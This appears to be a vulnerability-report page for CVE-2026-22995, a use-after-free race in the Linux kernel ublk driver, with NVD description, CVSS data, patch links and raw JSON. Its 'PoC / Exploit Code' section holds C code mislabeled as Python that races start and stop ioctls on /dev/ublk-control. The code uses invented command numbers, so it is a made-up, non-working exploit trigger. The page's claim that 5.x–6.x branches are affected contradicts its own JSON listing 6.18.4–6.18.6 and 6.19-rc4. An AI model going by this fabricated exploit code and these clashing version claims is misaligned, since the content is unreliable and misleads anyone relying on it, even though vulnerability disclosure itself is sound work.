Security Vulnerability Report
中文
CVE-2026-22995 CVSS 7.8 HIGH

CVE-2026-22995

Published: 2026-01-23 16:15:56
Last Modified: 2026-02-26 17:13:33
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ublk: fix use-after-free in ublk_partition_scan_work A race condition exists between the async partition scan work and device teardown that can lead to a use-after-free of ub->ub_disk: 1. ublk_ctrl_start_dev() schedules partition_scan_work after add_disk() 2. ublk_stop_dev() calls ublk_stop_dev_unlocked() which does: - del_gendisk(ub->ub_disk) - ublk_detach_disk() sets ub->ub_disk = NULL - put_disk() which may free the disk 3. The worker ublk_partition_scan_work() then dereferences ub->ub_disk leading to UAF Fix this by using ublk_get_disk()/ublk_put_disk() in the worker to hold a reference to the disk during the partition scan. The spinlock in ublk_get_disk() synchronizes with ublk_detach_disk() ensuring the worker either gets a valid reference or sees NULL and exits early. Also change flush_work() to cancel_work_sync() to avoid running the partition scan work unnecessarily when the disk is already detached.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:* - VULNERABLE
Linux Kernel ublk driver (versions with race condition in ublk_partition_scan_work)
Affected stable branches: 5.x - 6.x series prior to fix commits 72e28774e964 and f0d385f6689f

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2026-22995 PoC - ublk use-after-free race condition * This is a conceptual PoC demonstrating the vulnerability trigger. * Actual exploitation requires precise timing control. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/ioctl.h> #include <fcntl.h> #define UBLK_CMD_START 0xdead0001 #define UBLK_CMD_STOP 0xdead0002 void* trigger_race(void* arg) { int fd = open("/dev/ublk-control", O_RDWR); if (fd < 0) return NULL; /* Start device - schedules partition_scan_work */ ioctl(fd, UBLK_CMD_START, 0); /* Immediately stop device - triggers teardown race */ usleep(100); /* Small delay to let worker start */ ioctl(fd, UBLK_CMD_STOP, 0); close(fd); return NULL; } int main() { pthread_t threads[4]; printf("CVE-2026-22995 PoC - Triggering ublk UAF race condition\n"); /* Create multiple threads to increase race condition probability */ for (int i = 0; i < 4; i++) { pthread_create(&threads[i], NULL, trigger_race, NULL); } for (int i = 0; i < 4; i++) { pthread_join(threads[i], NULL); } printf("Race condition triggered. Check dmesg for UAF evidence.\n"); return 0; } /* * Note: Full exploitation requires KASLR bypass, heap spraying, * and precise timing. This PoC demonstrates the trigger mechanism. * Mitigation: Upgrade to patched kernel version. */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22995", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-23T16:15:55.603", "lastModified": "2026-02-26T17:13:33.407", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nublk: fix use-after-free in ublk_partition_scan_work\n\nA race condition exists between the async partition scan work and device\nteardown that can lead to a use-after-free of ub->ub_disk:\n\n1. ublk_ctrl_start_dev() schedules partition_scan_work after add_disk()\n2. ublk_stop_dev() calls ublk_stop_dev_unlocked() which does:\n - del_gendisk(ub->ub_disk)\n - ublk_detach_disk() sets ub->ub_disk = NULL\n - put_disk() which may free the disk\n3. The worker ublk_partition_scan_work() then dereferences ub->ub_disk\n leading to UAF\n\nFix this by using ublk_get_disk()/ublk_put_disk() in the worker to hold\na reference to the disk during the partition scan. The spinlock in\nublk_get_disk() synchronizes with ublk_detach_disk() ensuring the worker\neither gets a valid reference or sees NULL and exits early.\n\nAlso change flush_work() to cancel_work_sync() to avoid running the\npartition scan work unnecessarily when the disk is already detached."}, {"lang": "es", "value": "Se ha resuelto la siguiente vulnerabilidad en el kernel de Linux:\n\nublk: corrige uso después de liberación en ublk_partition_scan_work\n\nExiste una condición de carrera entre el trabajo de escaneo de particiones asíncrono y el desmontaje del dispositivo que puede llevar a un uso después de liberación de ub-&gt;ub_disk:\n\n1. ublk_ctrl_start_dev() programa partition_scan_work después de add_disk()\n2. ublk_stop_dev() llama a ublk_stop_dev_unlocked() que hace:\n - del_gendisk(ub-&gt;ub_disk)\n - ublk_detach_disk() establece ub-&gt;ub_disk = NULL\n - put_disk() que puede liberar el disco\n3. El worker ublk_partition_scan_work() entonces desreferencia ub-&gt;ub_disk llevando a UAF\n\nCorrige esto usando ublk_get_disk()/ublk_put_disk() en el worker para mantener una referencia al disco durante el escaneo de particiones. El spinlock en ublk_get_disk() se sincroniza con ublk_detach_disk() asegurando que el worker o bien obtiene una referencia válida o ve NULL y sale temprano.\n\nTambién cambia flush_work() a cancel_work_sync() para evitar ejecutar innecesariamente el trabajo de escaneo de particiones cuando el disco ya está desmontado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.4", "versionEndExcluding": "6.18.6", "matchCriteriaId": "27849DC4-2BBE-4536-8F33-2616A53ACA55"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/72e28774e9644c2bdbb4920842fbf77103a15a85", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f0d385f6689f37a2828c686fb279121df006b4cb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}